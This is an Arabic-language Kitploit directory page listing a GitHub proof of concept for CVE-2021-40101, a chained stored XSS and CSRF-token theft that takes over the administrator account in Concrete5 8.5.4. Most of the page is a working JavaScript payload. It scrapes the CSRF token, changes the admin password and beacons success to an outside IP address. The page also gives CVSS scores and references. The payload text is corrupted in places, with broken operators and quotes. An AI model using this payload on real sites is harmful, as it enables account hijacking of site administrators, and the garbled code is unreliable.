Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/s1lkys/cve-2021-40101
أدوات التصيدتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubs1lkys/cve-2021-40101

CVE-2021-40101

استبيان XSS بالاشتراك مع CSRF يؤدي إلى الاستيلاء على حساب المسؤول في Concrete5 8.5.4

عرض المستودع
4منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن XSS في الاستبيان مع CSRF يؤدي إلى الاستيلاء على حساب المسؤول في Concrete5 8.5.4

لم يكن مسؤول Concrete CMS في الإصدارات الأقل من 9 بحاجة إلى تقديم كلمة المرور الخاصة به عند تغيير كلمة مرور مستخدم آخر.

بالاشتراك مع CVE-2021-28145 ("Concrete CMS (المعروف سابقًا بـ concrete5) قبل الإصدار 8.5.5 يسمح للمستخدمين المصادق عليهم عن بُعد بتنفيذ هجمات XSS عبر وحدة استبيان مخترقة. يتطلب ذلك صلاحيات محرر على الأقل": تم تضمين الإصلاح في الإصدار 8.5.5.) يصبح من الممكن لمستخدم ذي صلاحيات منخفضة، مثل مطور أو مستخدم عام قادر على إنشاء استبيانات، إدراج كود جافا سكريبت ضار في تطبيق الويب. يمكن لمسؤول مراجعة نتائج الاستبيانات في واجهة الويب الخاصة به ضمن التقارير > الاستبيانات. يتم تنفيذ كود جافا سكريبت الضار هناك أيضًا. يحتوي Concrete5 على حماية CSRF يمكن تجاوزها بسهولة عن طريق سرقة الرمز المميز (Token) المقابل من الصفحة قبل تنفيذ طلب. نظرًا لأن Concrete5 لا يطلب كلمة المرور القديمة عند تغييرها، فمن الممكن تغيير كلمة مرور المسؤول بسهولة.

الحمولة (Payload)

root@kitploit:~
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest(); 
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send(); 

req.onreadystatechange = function () { 
  if (req.readyState == 4 bb req.status == 200) { 
    body = req.responseText; 
    ccm_token = body.match(regex)[3];
   }
  }; 
setTimeout(() => { 
  confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token); 
  req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
  req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
  req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1"); 

req2.onreadystatechange = function () { 
  if (req2.readyState == 4 bb req2.status == 200) {
    body = req2.responseText;
    if (body.includes("Password updated successfully.")){
      console.log("Password updated successfully.");
      var myImage = new Image(0, 0);
      myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
     }
     else{
      console.log("Something went wrong");
     } 
   }
 } 
},2000); 

نقاط CVSS:

  • CVE-2021-40101 - 6.4 متوسطة AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
  • CVE-2021-28145 - 5.4 متوسطة CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

مما يؤدي إلى درجة نهائية قدرها

  • 7.2 عالية

المراجع:

  • https://hackerone.com/bugs?report_id=1065577
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40101
  • https://youtu.be/w-B-j4NadDw
  • https://github.com/concrete5/concrete5/pull/9707/commits/f6bb806acfdda22860133b9586df068d4e3909a7
تنزيل الأداة